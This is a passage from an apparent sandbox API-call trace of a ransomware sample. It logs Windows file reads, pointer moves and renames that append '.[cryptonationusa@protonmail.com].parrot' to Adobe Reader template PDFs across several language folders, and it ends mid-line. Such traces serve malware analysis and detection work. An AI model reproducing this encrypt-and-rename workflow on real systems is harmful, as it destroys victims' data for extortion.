[0246.747] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.747] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0246.748] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.748] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10ab0, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x10ab0, lpOverlapped=0x0) returned 1 [0246.751] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.754] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\adobeid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0246.761] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.761] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0246.763] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.763] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10596, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x10596, lpOverlapped=0x0) returned 1 [0246.765] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.769] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\defaultid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0246.776] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0246.776] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0246.776] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0246.776] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.776] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0246.776] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0246.776] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x43b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0246.777] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.777] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0246.778] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.778] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x43b5, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x43b5, lpOverlapped=0x0) returned 1 [0246.780] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.780] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\adobeid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0246.786] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.786] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0246.787] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.787] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3e95, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x3e95, lpOverlapped=0x0) returned 1 [0246.788] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.789] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\defaultid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0246.793] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0246.793] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0246.795] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0246.795] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.795] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0246.795] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0246.795] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x16097, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0246.795] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.795] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0246.797] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.797] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16097, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x16097, lpOverlapped=0x0) returned 1 [0246.799] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.803] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\AdobeID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\adobeid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0246.810] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.810] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0246.812] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.812] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x15db2, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x15db2, lpOverlapped=0x0) returned 1 [0246.815] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.847] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\DefaultID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\defaultid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0246.853] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0246.854] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0246.854] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0246.854] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.854] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0246.854] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0246.854] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10913, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0246.855] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.855] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0246.857] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.857] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10913, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x10913, lpOverlapped=0x0) returned 1 [0246.859] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.863] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita\\adobeid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0246.916] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.916] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0246.962] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.962] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x103f8, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x103f8, lpOverlapped=0x0) returned 1 [0246.965] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.969] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita\\defaultid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0246.976] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0246.976] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0246.976] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0246.976] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.976] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0246.976] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0246.976] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5944, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0246.977] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.977] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0246.978] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.978] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5944, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x5944, lpOverlapped=0x0) returned 1 [0246.980] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.981] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\AdobeID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\adobeid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0246.988] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.988] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0246.989] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.989] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5404, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x5404, lpOverlapped=0x0) returned 1 [0246.990] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.991] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\defaultid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0246.996] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0246.996] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0246.996] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0246.996] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.996] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0246.996] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0246.996] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x592a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0246.997] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0246.997] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0246.998] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.998] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x592a, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x592a, lpOverlapped=0x0) returned 1 [0246.999] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.000] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files 